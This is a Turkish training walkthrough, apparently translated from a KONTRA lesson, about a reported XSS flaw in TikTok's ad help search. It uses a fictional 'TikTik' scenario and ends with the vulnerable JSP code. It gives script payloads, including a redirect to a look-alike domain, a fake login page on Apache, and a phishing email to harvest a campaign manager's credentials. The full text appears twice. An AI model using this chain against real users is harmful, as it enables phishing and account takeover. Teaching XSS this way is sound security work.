WEB | OWASP TOP 10 | TikTok Cross Site Scripting Vulnerability
Sosyal medya platformları, seçim kampanyalarının vatandaşlarla iletişim kurması için birincil araç haline geldi. Bununla birlikte, Cambridge Analytica sonrası bir dünyada, sosyal medya şirketlerinin platformlarının kötüye kullanıma açık olmamasını sağlama baskısı önemli bir zorluk olmaya devam ediyor.
Checkpoint Research tarafından TikTok'a karşı yürütülen son soruşturma, motive edilmiş tehdit aktörlerinin siyasi düşmanlarını anlamalarına ve/veya onların reklam kampanyalarını manipüle etmesine izin verebilecek, önemsiz derecede sömürülebilir güvenlik sorunlarına dikkat çekiyor.
Bu güvenlik açığının önemini göstermek için KONTRA, TikTok'un Reklam platformunda bildirilen Siteler Arası Komut Dosyası Çalıştırma kusurunu ve bu sorunun varsayımsal siber düşmanlar tarafından istismar edilmesini ayrıntılandıran etkileşimli bir eğitim geliştirdi.
Veriye dayalı Reklam kampanyalarında uzmanlaşmış bir siyasi danışmanlık grubu olan Draco Strategies LLC, önde gelen bir gazetenin çevrimiçi Reklam stratejisi hakkında gizli araştırma yapmak üzere bizi işe almaya karar verir.
Draco Strategies tarafından belirlenen kapsam ve hedefleri gözden geçirmek için aşağıdaki web posta bağlantımıza erişelim.
Devam edip Change for America 2020 başlıklı e-posta mesajını açalım.
E-posta, bizim ve Draco Strategies personeli arasında, bize önde gelen bir haber dergisi olan Washington Post'a karşı rekabetçi istihbarat toplaması ve popüler sosyal ağ TikTik'teki çevrimiçi reklam kampanyalarını daha ayrıntılı analiz etmesi talimatını veren bir toplantıyı ayrıntılarıyla anlatıyor.
Draco Strategies çalışanları ayrıca attığı e-posta da Washington Post'un sosyal medya kampanya yöneticisi Alice'in e-postasını ve platformlarının nasıl çalıştığını anlamasına ve potansiyel saldırı stratejileri bulmasına yardımcı olmak için TikTik'in Reklam platformu destek web sayfası için bir web bağlantısı sağlıyor.
Bağlantıya tıklamak TikTik'in reklam yardım portalını yükler.
uygulamanın temel işlevselliğini, iş mantığını ve kontrol akışını analiz edip sitede bir gezintiye çıkalım.
TikTik kullanıcılarının TikTik'in Reklam platformuyla ilgili makaleleri, belgeleri ve kaynakları aramasına olanak tanıyan bir Arama formu alanı olduğunu görüyoruz.
Aşağıdaki anahtar kelimeyi göndererek Arama özelliğini test edelim.
Arama, giriş dizesiyle eşleşen hiçbir sonuç döndürmez.
Ancak uygulama, yanıtta arama terimi xxx'i tekrarlayalım.
deneyimli bir bilgisayar korsanı olarak, kullanıcı tarafından sağlanan girdileri bir web sayfasına geri vermenin, siteler arası komut dosyası çalıştırma (XSS) güvenlik açıklarının yaygın bir kaynağı olduğunu biliyoruz.
XSS güvenlik açıkları için Arama işlevini test etmemiz için orijinal arama dizesini aşağıdaki sorguyla değiştirelim:
<script>alert('hacked')</script>
BUM mu desek ne desek, Arama formu alanına geçerli bir Javascript dizesi göndererek, tarayıcıdan güvenilmeyen javascript kodunu yürütmesi için TikTik Ads portalını kandırmayı başardık!
Kötü amaçlı Javascript kodu veya HTML gibi güvenilmeyen verileri kurbanın tarayıcısına enjekte etme ve çalıştırma özelliği, Siteler Arası Komut Dosyası Çalıştırma (XSS) saldırısı olarak bilinir.
Önceki adımdaki XSSalert('hacked') enjeksiyon yükünün daha karmaşık JavaScript veya HTML ifadeleriyle değiştirilebileceğini unutmayın.
Örneğin, nesneyi www.attacker.com değiştirerek bir kullanıcıyı başka bir web sitesine yönlendirmek için aşağıdaki JavaScript yükünü enjekte edebiliriz :document.location
<script>document.location = 'www.attacker.com';</script>
Alice'in hesabına karşı siteler arası komut dosyası çalıştırma güvenlik açığından yararlanmak için önce TikTik Ads giriş sayfasına benzeyen sahte bir giriş web sayfası oluşturalım.
Daha sonra, www.tiktik-ads.com alan adını, gerçek TikTik Reklam alan adı ads.tiktik.com'a benzeyen bir site olarak kaydedelim.
Son olarak, kötü niyetli giriş sayfasını www.tiktik-ads.com üzerinden sunmak için bir web sunucusu başlatıp aşağıdaki iki komutu vererek web sunucusu günlük dosyasını izlemeye alalım:
service apache2 start && tail -f /var/log/access.log
İlk komut, kötü niyetli giriş web sayfasını
www.tiktik-ads.com'da barındırmak için bir web sunucusunu başlatır.
İkinci komut, web sunucusu günlüklerimizin gerçek zamanlı olarak izlemesini sağlar.
Bir önceki adımda istismar altyapısını yapılandırıp, Alice'e özel hazırlanmış bir e-posta gönderelim.
Alice'in gelen kutusuna şu adresten erişerek yolladığımız e-postanın içeriğini analiz edelim.
Alice genellikle bilinmeyen alıcılardan gelen istenmeyen e-postaları görmezden gelir ve siler.
Ancak, Konu e-postasının makul ve alakalı olduğu göz önüne alındığında, Alice bizim tarafımızdan gönderilen mesajı açar.
TikTik, siyasi Reklam kampanyaları için yeni özellikler başlatan bir konu satırı kullanarak e -postamızda Alice'i TikTik'in Reklam platformundaki yeni bir özelliği kontrol etmeye teşvik ediyor.
Alice, URL'yi daha ayrıntılı olarak inceler ve bunun TikTik'in Reklam portalı https://ads.tiktik.com'a işaret eden geçerli bir bağlantı olduğunu onaylar.
e-postaya koyduğumuz web bağlantısı aslında TikTik Reklam'ın Yardım portalının arama URL'sidir ve aşağıdaki javascript kodunu bir arama sorgusu olarak göndermek üzere değiştirilmiştir:
<script>document.location = 'www.tiktik-ads.com';</script>
TikTik Reklam'ın arama özelliği siteler arası komut dosyası oluşturmaya karşı savunmasız olduğundan, Alice URL'ye tıkladığında yukarıdaki kod parçacığı tarayıcısı bağlamında çalışacak ve onu kötü niyetli web sitesi olan www.tiktik-ads.com'a yönlendirecektir.
Yolladığımız URL kötü amaçlı javascript'i yürütür ve Alice'i www.tiktik-ads.com'a yönlendirir.
daha önce sahte oturum açma sayfasını barındırmak ve günlük dosyasını izlemek için bir Apache web sunucusu başlatmıştık. sahte giriş sayfasına Alice olarak giriş yapmaya çalışmadan önce konsolumuzu açalım.
Alice olarak devam edelim ve Alice'in TikTik kimlik doğrulama bilgilerini kullanarak sisteme giriş yapalım.
Başarılı! Sahte oturum açma sayfasında kimlik bilgilerini gönderdikten sonra, Alice'in kullanıcı adı ve parolası artık bizim apache web sunucusunda oturum açmış durumda!
Daha sonra orjinal TikTik'in reklam portal sayfasına giderek Alice'in bilgileri ile giriş yapmayı deneyelim.
Ve BİNGO! siteler arası komut dosyası çalıştırma güvenlik açığından yararlanıp, Alice'in TikTik Reklam hesabını ele geçirmemiz ve Washington Post'un Reklam verilerine erişim elde etmeyi başarmamız.
Güvenliği ihlal edilmiş hesap, anahtar kelimeler, reklam hedefleme stratejileri, Reklam başlatma takvimi ve Draco Strategies'in kendi hedeflenen reklam kampanyaları veya Washington Post'un reklam stratejilerine ilişkin stratejik bilgileri edinelim.
Bu güvenlik açığının temel nedenini daha iyi anlamak için, TikTik'in Arama özelliğinde arama sonuçlarını oluşturmak için kullanılan kaynak koduna bir göz atalım.
<c:if test="${find}">
Arama sonuçlarını görüntülemek için, önce Arama isteğinin başarılı c:if olup olmadığını test etmek için etiket çağrılır.
<c:if test="${!find}"> //If a matching article was not found
Bir arama hiçbir sonuç döndürmezse, orijinal arama ifadesinin ardından dize için sonuç yok'u görüntüleyen bir HTML yanıtı oluşturmak için kullanılır.
<h2>No results for <span><%= request.getparmeter("q") %>
Arama dizesini oluşturmak için request.getparameter(), daha sonra doğrudan HTML şablonu tarafından oluşturulan arama parametresi değerini çıkarmak için yöntem çağrılır.
<span><%= request.getparmeter("q") %>
Ancak, arama alanında herhangi bir giriş doğrulaması gerçekleştirilmediğinden, tarafından döndürülen değer, HTML şablonu tarafından herhangi bir güvenlik doğrulaması olmadan oluşturulan HTML etiketlerini request.getparameter() içerebilir.
Sosyal medya platformları, seçim kampanyalarının vatandaşlarla iletişim kurması için birincil araç haline geldi. Bununla birlikte, Cambridge Analytica sonrası bir dünyada, sosyal medya şirketlerinin platformlarının kötüye kullanıma açık olmamasını sağlama baskısı önemli bir zorluk olmaya devam ediyor.
Checkpoint Research tarafından TikTok'a karşı yürütülen son soruşturma, motive edilmiş tehdit aktörlerinin siyasi düşmanlarını anlamalarına ve/veya onların reklam kampanyalarını manipüle etmesine izin verebilecek, önemsiz derecede sömürülebilir güvenlik sorunlarına dikkat çekiyor.
Bu güvenlik açığının önemini göstermek için KONTRA, TikTok'un Reklam platformunda bildirilen Siteler Arası Komut Dosyası Çalıştırma kusurunu ve bu sorunun varsayımsal siber düşmanlar tarafından istismar edilmesini ayrıntılandıran etkileşimli bir eğitim geliştirdi.
Veriye dayalı Reklam kampanyalarında uzmanlaşmış bir siyasi danışmanlık grubu olan Draco Strategies LLC, önde gelen bir gazetenin çevrimiçi Reklam stratejisi hakkında gizli araştırma yapmak üzere bizi işe almaya karar verir.
Draco Strategies tarafından belirlenen kapsam ve hedefleri gözden geçirmek için aşağıdaki web posta bağlantımıza erişelim.
Devam edip Change for America 2020 başlıklı e-posta mesajını açalım.
E-posta, bizim ve Draco Strategies personeli arasında, bize önde gelen bir haber dergisi olan Washington Post'a karşı rekabetçi istihbarat toplaması ve popüler sosyal ağ TikTik'teki çevrimiçi reklam kampanyalarını daha ayrıntılı analiz etmesi talimatını veren bir toplantıyı ayrıntılarıyla anlatıyor.
Draco Strategies çalışanları ayrıca attığı e-posta da Washington Post'un sosyal medya kampanya yöneticisi Alice'in e-postasını ve platformlarının nasıl çalıştığını anlamasına ve potansiyel saldırı stratejileri bulmasına yardımcı olmak için TikTik'in Reklam platformu destek web sayfası için bir web bağlantısı sağlıyor.
Bağlantıya tıklamak TikTik'in reklam yardım portalını yükler.
uygulamanın temel işlevselliğini, iş mantığını ve kontrol akışını analiz edip sitede bir gezintiye çıkalım.
TikTik kullanıcılarının TikTik'in Reklam platformuyla ilgili makaleleri, belgeleri ve kaynakları aramasına olanak tanıyan bir Arama formu alanı olduğunu görüyoruz.
Aşağıdaki anahtar kelimeyi göndererek Arama özelliğini test edelim.
Arama, giriş dizesiyle eşleşen hiçbir sonuç döndürmez.
Ancak uygulama, yanıtta arama terimi xxx'i tekrarlayalım.
deneyimli bir bilgisayar korsanı olarak, kullanıcı tarafından sağlanan girdileri bir web sayfasına geri vermenin, siteler arası komut dosyası çalıştırma (XSS) güvenlik açıklarının yaygın bir kaynağı olduğunu biliyoruz.
XSS güvenlik açıkları için Arama işlevini test etmemiz için orijinal arama dizesini aşağıdaki sorguyla değiştirelim:
<script>alert('hacked')</script>
BUM mu desek ne desek, Arama formu alanına geçerli bir Javascript dizesi göndererek, tarayıcıdan güvenilmeyen javascript kodunu yürütmesi için TikTik Ads portalını kandırmayı başardık!
Kötü amaçlı Javascript kodu veya HTML gibi güvenilmeyen verileri kurbanın tarayıcısına enjekte etme ve çalıştırma özelliği, Siteler Arası Komut Dosyası Çalıştırma (XSS) saldırısı olarak bilinir.
Önceki adımdaki XSSalert('hacked') enjeksiyon yükünün daha karmaşık JavaScript veya HTML ifadeleriyle değiştirilebileceğini unutmayın.
Örneğin, nesneyi www.attacker.com değiştirerek bir kullanıcıyı başka bir web sitesine yönlendirmek için aşağıdaki JavaScript yükünü enjekte edebiliriz :document.location
<script>document.location = 'www.attacker.com';</script>
Alice'in hesabına karşı siteler arası komut dosyası çalıştırma güvenlik açığından yararlanmak için önce TikTik Ads giriş sayfasına benzeyen sahte bir giriş web sayfası oluşturalım.
Daha sonra, www.tiktik-ads.com alan adını, gerçek TikTik Reklam alan adı ads.tiktik.com'a benzeyen bir site olarak kaydedelim.
Son olarak, kötü niyetli giriş sayfasını www.tiktik-ads.com üzerinden sunmak için bir web sunucusu başlatıp aşağıdaki iki komutu vererek web sunucusu günlük dosyasını izlemeye alalım:
service apache2 start && tail -f /var/log/access.log
İlk komut, kötü niyetli giriş web sayfasını
www.tiktik-ads.com'da barındırmak için bir web sunucusunu başlatır.
İkinci komut, web sunucusu günlüklerimizin gerçek zamanlı olarak izlemesini sağlar.
Bir önceki adımda istismar altyapısını yapılandırıp, Alice'e özel hazırlanmış bir e-posta gönderelim.
Alice'in gelen kutusuna şu adresten erişerek yolladığımız e-postanın içeriğini analiz edelim.
Alice genellikle bilinmeyen alıcılardan gelen istenmeyen e-postaları görmezden gelir ve siler.
Ancak, Konu e-postasının makul ve alakalı olduğu göz önüne alındığında, Alice bizim tarafımızdan gönderilen mesajı açar.
TikTik, siyasi Reklam kampanyaları için yeni özellikler başlatan bir konu satırı kullanarak e -postamızda Alice'i TikTik'in Reklam platformundaki yeni bir özelliği kontrol etmeye teşvik ediyor.
Alice, URL'yi daha ayrıntılı olarak inceler ve bunun TikTik'in Reklam portalı https://ads.tiktik.com'a işaret eden geçerli bir bağlantı olduğunu onaylar.
e-postaya koyduğumuz web bağlantısı aslında TikTik Reklam'ın Yardım portalının arama URL'sidir ve aşağıdaki javascript kodunu bir arama sorgusu olarak göndermek üzere değiştirilmiştir:
<script>document.location = 'www.tiktik-ads.com';</script>
TikTik Reklam'ın arama özelliği siteler arası komut dosyası oluşturmaya karşı savunmasız olduğundan, Alice URL'ye tıkladığında yukarıdaki kod parçacığı tarayıcısı bağlamında çalışacak ve onu kötü niyetli web sitesi olan www.tiktik-ads.com'a yönlendirecektir.
Yolladığımız URL kötü amaçlı javascript'i yürütür ve Alice'i www.tiktik-ads.com'a yönlendirir.
daha önce sahte oturum açma sayfasını barındırmak ve günlük dosyasını izlemek için bir Apache web sunucusu başlatmıştık. sahte giriş sayfasına Alice olarak giriş yapmaya çalışmadan önce konsolumuzu açalım.
Alice olarak devam edelim ve Alice'in TikTik kimlik doğrulama bilgilerini kullanarak sisteme giriş yapalım.
Başarılı! Sahte oturum açma sayfasında kimlik bilgilerini gönderdikten sonra, Alice'in kullanıcı adı ve parolası artık bizim apache web sunucusunda oturum açmış durumda!
Daha sonra orjinal TikTik'in reklam portal sayfasına giderek Alice'in bilgileri ile giriş yapmayı deneyelim.
Ve BİNGO! siteler arası komut dosyası çalıştırma güvenlik açığından yararlanıp, Alice'in TikTik Reklam hesabını ele geçirmemiz ve Washington Post'un Reklam verilerine erişim elde etmeyi başarmamız.
Güvenliği ihlal edilmiş hesap, anahtar kelimeler, reklam hedefleme stratejileri, Reklam başlatma takvimi ve Draco Strategies'in kendi hedeflenen reklam kampanyaları veya Washington Post'un reklam stratejilerine ilişkin stratejik bilgileri edinelim.
Bu güvenlik açığının temel nedenini daha iyi anlamak için, TikTik'in Arama özelliğinde arama sonuçlarını oluşturmak için kullanılan kaynak koduna bir göz atalım.
<c:if test="${find}">
Arama sonuçlarını görüntülemek için, önce Arama isteğinin başarılı c:if olup olmadığını test etmek için etiket çağrılır.
<c:if test="${!find}"> //If a matching article was not found
Bir arama hiçbir sonuç döndürmezse, orijinal arama ifadesinin ardından dize için sonuç yok'u görüntüleyen bir HTML yanıtı oluşturmak için kullanılır.
<h2>No results for <span><%= request.getparmeter("q") %>
Arama dizesini oluşturmak için request.getparameter(), daha sonra doğrudan HTML şablonu tarafından oluşturulan arama parametresi değerini çıkarmak için yöntem çağrılır.
<span><%= request.getparmeter("q") %>
Ancak, arama alanında herhangi bir giriş doğrulaması gerçekleştirilmediğinden, tarafından döndürülen değer, HTML şablonu tarafından herhangi bir güvenlik doğrulaması olmadan oluşturulan HTML etiketlerini request.getparameter() içerebilir.
